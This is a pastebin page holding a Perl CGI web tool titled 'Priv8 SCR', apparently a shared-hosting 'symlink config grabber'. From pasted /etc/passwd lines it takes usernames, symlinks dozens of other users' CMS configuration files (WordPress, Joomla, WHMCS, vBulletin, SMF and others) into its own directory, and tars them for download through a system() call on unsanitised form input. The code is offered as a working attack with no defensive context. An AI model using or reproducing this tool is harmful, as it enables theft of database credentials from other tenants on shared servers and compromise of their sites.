code

From x, 4 Years ago, written in Perl, viewed 786 times.
URL http://paste.security-portal.cz/view/3fce21f0 Embed
Download Paste or View Raw
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. print "Content-type: text/html\n\n";
  3. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  4. <html xmlns="http://www.w3.org/1999/xhtml">
  5.  
  6. <head>
  7. <meta http-equiv="Content-Language" content="en-us" />
  8. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  9. <title>Priv8 SCR</title>
  10. <style type="text/css">
  11. .newStyle1 {
  12. font-family: tahoma, verdana, Arial;
  13. font-size: medium;
  14. color: #FFFFFF;
  15. background-color: #666666;
  16. text-align: center;
  17. }
  18. </style>
  19. </head>
  20. ';
  21. sub lil{
  22. ($user) = @_;
  23. $msr = qx{pwd};
  24. $kola=$msr."/".$user;
  25. $kola=~s/\n//g;
  26. symlink('/home/'.$user.'/public_html/beta/configuration.php',$kola.'-joomla.txt') ;
  27. symlink('/home/'.$user.'/public_html/configuration.php',$kola.'-joomla.txt') ;
  28. symlink('/home/'.$user.'/public_html/home/configuration.php',$kola.'-joomla - home.txt') ;
  29. symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'-wordpress.txt') ;
  30. symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'-wordpress.txt') ;
  31. symlink('/home/'.$user.'/public_html/web/wp-config.php',$kola.'-wordpress - web.txt') ;
  32. symlink('/home/'.$user.'/public_html/SSI.php',$kola.'- C M F .txt') ;
  33. symlink('/home/'.$user.'/public_html/forum/SSI.php',$kola.'- C M F - forum.txt') ;
  34. symlink('/home/'.$user.'/public_html/inc/config.php',$kola.'- MyBB.txt') ;
  35. symlink('/home/'.$user.'/public_html/forum/inc/config.php',$kola.'- MyBB - forum.txt') ;
  36. symlink('/home/'.$user.'/public_html/config.php',$kola.'- Other.txt') ;
  37. symlink('/home/'.$user.'/public_html/lib/config.php',$kola.'- Balitbang.txt') ;
  38. symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'-clients.txt') ;
  39. symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'-client.txt') ;
  40. symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'-billing.txt') ;
  41. symlink('/home/'.$user.'/public_html/billings/configuration.php',$kola.'-billings.txt') ;
  42. symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'- whmcs - whmcs.txt') ;
  43. symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'- whm - whm.txt');
  44. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'- VBulletin - forum.txt');
  45. symlink('/home/'.$user.'/public_html/forum/config.php',$kola.' - PhpBB - forum.txt') ;
  46. symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'- whmc - whmc.txt');
  47. symlink('/home/'.$user.'/public_html/submitticket.php',$kola.' - whmcs2.txt');
  48. symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.' -mangewhmcs.txt');
  49. symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.' -myshop.txt');
  50. symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'-support.txt');
  51. symlink('/home/'.$user.'/public_html/supports/configuration.php',$kola.'-supports.txt');
  52. symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.'-oscommerce.txt');
  53. symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.'-oscommerces.txt');
  54. symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$kola.'-shop-shopping.txt');
  55. symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$kola.'-sale.txt');
  56. symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.'-amember.txt');
  57. symlink('/home/'.$user.'/public_html/config.inc.php',$kola.'-amember2.txt');
  58. symlink('/home/'.$user.'/public_html/wp/wp-config.php',$kola.'- wordpress - wp.txt');
  59. symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$kola.'- wwordpress - wp - beta.txt');
  60. symlink('/home/'.$user.'/public_html/beta/wp-config.php',$kola.'- wordpress - beta.txt');
  61. symlink('/home/'.$user.'/public_html/press/wp-config.php',$kola.'-wp13-press.txt');
  62. symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$kola.'- wordpress -wordpress.txt');
  63. symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.'- wordpress - wordpress-beta.txt');
  64. symlink('/home/'.$user.'/public_html/news/wp-config.php',$kola.'- wordpress -news.txt');
  65. symlink('/home/'.$user.'/public_html/new/wp-config.php',$kola.'- wordpress - new.txt');
  66. symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$kola.'- wordpress - blogs.txt');
  67. symlink('/home/'.$user.'/public_html/home/wp-config.php',$kola.'- wordpress - home.txt');
  68. symlink('/home/'.$user.'/public_html/protal/wp-config.php',$kola.'- wordpress - protal.txt');
  69. symlink('/home/'.$user.'/public_html/site/wp-config.php',$kola.'- wordpress - site.txt');
  70. symlink('/home/'.$user.'/public_html/main/wp-config.php',$kola.'- wordpress - main.txt');
  71. symlink('/home/'.$user.'/public_html/test/wp-config.php',$kola.'- wordpress - test.txt');
  72. symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'-joomla - joomla .txt');
  73. symlink('/home/'.$user.'/public_html/protal/configuration.php',$kola.'- joomla - protal.txt');
  74. symlink('/home/'.$user.'/public_html/joo/configuration.php',$kola.'- joomla - joo.txt');
  75. symlink('/home/'.$user.'/public_html/cms/configuration.php',$kola.'- joomla - cms.txt');
  76. symlink('/home/'.$user.'/public_html/site/configuration.php',$kola.'- joomla - site.txt');
  77. symlink('/home/'.$user.'/public_html/main/configuration.php',$kola.'- joomla - main.txt');
  78. symlink('/home/'.$user.'/public_html/news/configuration.php',$kola.'- joomla - news.txt');
  79. symlink('/home/'.$user.'/public_html/new/configuration.php',$kola.'- joomla - new.txt');
  80. symlink('/home/'.$user.'/public_html/home/configuration.php',$kola.'- joomla - home.txt');
  81. symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'- vb.txt');
  82. symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$kola.'- vb3.txt');
  83. symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$kola.'-cpanel.txt');
  84. symlink('/home/'.$user.'/public_html/panel/configuration.php',$kola.'-panel.txt');
  85. symlink('/home/'.$user.'/public_html/host/configuration.php',$kola.'-host.txt');
  86. symlink('/home/'.$user.'/public_html/hosting/configuration.php',$kola.'-hosting.txt');
  87. symlink('/home/'.$user.'/public_html/hosts/configuration.php',$kola.'-hosts.txt');
  88. symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$kola.'-zencart.txt');
  89. symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.'- zencart - shop.txt');
  90. symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.'-shop-ZCshop.txt');
  91. symlink('/home/'.$user.'/public_html/Settings.php',$kola.'- smf.txt');
  92. symlink('/home/'.$user.'/public_html/smf/Settings.php',$kola.'- smf - smf.txt');
  93. symlink('/home/'.$user.'/public_html/forum/Settings.php',$kola.'- smf - forum.txt');
  94. symlink('/home/'.$user.'/public_html/forums/Settings.php',$kola.'- smf - forums.txt');
  95. symlink('/home/'.$user.'/public_html/upload/includes/config.php',$kola.'- upload .txt');
  96. symlink('/home/'.$user.'/public_html/incl/config.php',$kola.'- malay.txt');
  97. symlink('/home/'.$user.'/public_html/config/koneksi.php',$kola.'- lokomedia.txt');
  98. symlink('/home/'.$user.'/system/sistem.php',$kola.'- lokomedia.txt');
  99. }
  100. if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  101. read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  102. } else {
  103. $buffer = $ENV{'QUERY_STRING'};
  104. }
  105. @pairs = split(/&/, $buffer);
  106. foreach $pair (@pairs) {
  107. ($name, $value) = split(/=/, $pair);
  108. $name =~ tr/+/ /;
  109. $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  110. $value =~ tr/+/ /;
  111. $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  112. $FORM{$name} = $value;
  113. }
  114. if ($FORM{pass} eq ""){
  115. <body class="newStyle1">
  116. <p>&nbsp;</p>
  117. <form method="post">
  118. <textarea name="pass" style="width: 543px; height: 400px"></textarea>
  119. <br /><br />
  120. <input name="tar" type="text" style="width: 212px" /><br /><br />
  121. <input name="Submit1" type="submit" value="Hajar ..!" style="width: 99px" />
  122. <br />
  123. </form>';
  124. }else{
  125. @lines =<$FORM{pass}>;
  126. $y = @lines;
  127. open (MYFILE, ">tar.tmp");
  128. print MYFILE "tar -czf ".$FORM{tar}.".tar ";
  129. for ($ka=0;$ka<$y;$ka++){
  130. while(@lines[$ka] =~ m/(.*?):x:/g){
  131. &lil($1);
  132. print MYFILE $1.".txt ";
  133. for($kd=1;$kd<18;$kd++){
  134. print MYFILE $1.$kd.".txt ";
  135. }
  136. }
  137. }
  138. print'<body class="newStyle1">
  139. <p>Done !!</p>
  140. <p>&nbsp;</p>';
  141. if($FORM{tar} ne ""){
  142. open(INFO, "tar.tmp");
  143. @lines =<INFO> ;
  144. close(INFO);
  145. system(@lines);
  146. print'<p><a href="'.$FORM{tar}.'.tar"> download file</a></p>';
  147. }
  148. }
  149. </body>
  150. </html>";

Replies to code rss

Title Name Language When
Re: code aaa perl 3 Months ago.

Reply to "code"

Here you can reply to the paste above